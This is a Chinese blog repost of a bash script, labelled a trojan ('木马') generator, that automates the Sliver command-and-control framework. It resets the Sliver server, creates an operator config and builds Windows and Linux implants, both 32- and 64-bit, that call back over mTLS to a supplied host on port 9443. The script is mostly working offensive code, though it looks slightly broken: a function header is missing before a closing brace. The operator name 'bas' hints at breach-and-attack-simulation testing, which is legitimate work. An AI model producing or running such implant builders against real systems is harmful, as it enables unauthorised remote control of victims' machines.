首页 > 其他分享 >sliver生成木马.sh

sliver生成木马.sh

时间:2023-07-19 12:22:33浏览次数:50  
标签:ip rf host sh muma 木马 sliver

生成sliver木马多个步骤合成一个sh

#!/bin/bash
# date: 20230222

host_ip=$1
WORK_DIR=/opt/work
  rm -rf /root/.sliver-client/
  cd ${WORK_DIR}/sliver
  rm -rf adjectives.txt bas_192.0.2.1.cfg muma_x* nouns.txt sliver.db version configs/database.json configs/http-c2.json
  rm -rf builds/ certs/ go/ logs/ slivers/
  cd ${WORK_DIR}
  docker-compose restart sliver
}

generate_sliver_client_cfg(){
  docker-compose exec -T sliver sh -c "cd /root/.sliver && ./sliver-server operator --name bas --lport 31337 --lhost 192.0.2.1 --save /root/.sliver/"
  sleep 10
}

generate_agent(){

  cd /opt/work/
  ./sliver-client import bas_192.0.2.1.cfg
rm -rf muma_x64_${host_ip}.exe muma_x86_${host_ip}.exe muma_x64_${host_ip} muma_x86_${host_ip}
./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --arch amd64 --save muma_x64_${host_ip}.exe
EOF

./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --arch 386 --save muma_x86_${host_ip}.exe
EOF


./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --os linux --arch amd64 --save muma_x64_${host_ip}
EOF

./sliver-client <<EOF
generate --mtls ${host_ip}:9443 --os linux --arch 386 --save muma_x86_${host_ip}
EOF

}

init_sliver(){
    clear_cfg
    cd ${WORK_DIR}
    generate_sliver_client_cfg
    generate_agent
}



echo "开始时间: $(date +"%F %T")"
start_time=$(date +%s)
init_sliver
echo "结束时间: $(date +"%F %T")"
end_time=$(date +%s)
echo "【初始化完成】,耗时:$((end_time- start_time))s"

标签:ip,rf,host,sh,muma,木马,sliver
From: https://www.cnblogs.com/gatling/p/17565245.html

相关文章

  • shutdown 命令 新功能 加参数 重启进入BIOS 加参数 重启进入启动选项
    如上图,shutdown/r/fw注释:此命令,运行后,作用:重启进入BIOS......
  • SpringBoot + Sharding JDBC 分库分表
    Sharding-JDBC最早是当当网内部使用的一款分库分表框架,到2017年的时候才开始对外开源,这几年在大量社区贡献者的不断迭代下,功能也逐渐完善,现已更名为ShardingSphere,2020年4⽉16日正式成为Apache软件基金会的顶级项目。ShardingSphere-Jdbc定位为轻量级Java框架,在Java的Jdbc层提......
  • df查看30GB的磁盘满了而du -sh查看磁盘占用只有6GB
    背景发现磁盘满了,是由rsyslogd打印的日志占的,手动rm-f/var/log/xxxx.log后,就没管了磁盘(30GB)占用率95%,过一段时间du-sh/一看,总共才(6GB),占用还是27GB。说明并没有被释放。最终解决办法lsof|grep"deleted"发现rsyslogd也在其中,直接kill-9rsyslogd,rsyslogd重......
  • shell subsitute替换分割符
     sed awk - s - 是替换(substitute)命令- #keyword# -匹配 keyword 字符串,使用`#`作为分隔符- #replacement1# -将匹配到的字符串替换为 replacement1- g -全局(global)标志,表示替换所有匹配,不止替换第一处使用`#作为分隔符的好处是,可以避免正斜杠/......
  • GDI+画刷(HatchBrush)
    HatchBrush在构造过程中需要指定画刷类型、前景色、后景色三项内容,其中画刷类型在官方文档中给出的枚举类型如下所示:1typedefenumHatchStyle{2HatchStyleHorizontal,3HatchStyleVertical,4HatchStyleForwardDiagonal,5HatchStyleBackwardDiagonal,6Hatc......
  • coc仓库--checkIsHome
    boolcheckIsHome(conststd::string*ADB_IP,cv::Mat*mat,fastdeploy::vision::detection::YOLOv5*homemodelPoint){screenShot(ADB_IP,mat);cv::imwrite("../check.jpeg",*mat);fastdeploy::vision::DetectionResultres;homemodelPoin......
  • shardingsphere配置读写分离集群(1主2从结构)
    第一章、shardingsphere的安装1、使用ftp将离线安装包放到/opt2、进入opt目录,解压,移动到/usr/local,重命名cd/opttar-xzvfmysql-5.7,29-linux-glibc2.12-x86_64.tar.gzmvapache-shardingsphere-4.1.1-sharding-proxy-bin/usr/localcd/usr/localmvapache-shardingsph......
  • CSharp: Excel Convert Pdf
     /***netcore6***/usingIronPdf;usingOfficeOpenXml;usingSystem.Text;usingSpire.Pdf;usingSpire.Pdf.Graphics;usingSpire.Xls;usingNPOI.SS.UserModel;usingNPOI.XSSF.UserModel;usingiTextSharp.text;usingiTextSharp.text.pdf;nam......
  • 【Catasult Shooting】发现虫类对附近高速掠过的物体似乎觉察不到
    活物靶子比死靶子有意思得多,我经常打击的是虫靶,比如说海蟑螂、蜘蛛、苍蝇、飞蝗、知了等。这些虫子,如果是低俗物体靠近,比如人走过去或是仍块石头过去,它们早跑了,但一颗泥丸打过去,除非把它们击中击伤了,它们都是不会跑的。也就是说,它们似乎对高速掠过身边的小物体没有察觉,一颗击不中可......
  • Shell脚本学习:提升系统运维效率的利器
    Shell脚本:提升系统运维效率的利器Day1:Shell基础入门学习目标学习内容1.Shell是什么?2.基本Shell命令行操作3.练习任务Shell脚本:提升系统运维效率的利器自动化任务:Shell脚本能够帮助系统管理员自动化繁琐的重复任务,如备份数据、清理临时文件等,从而节省时间和精力,并降低出错......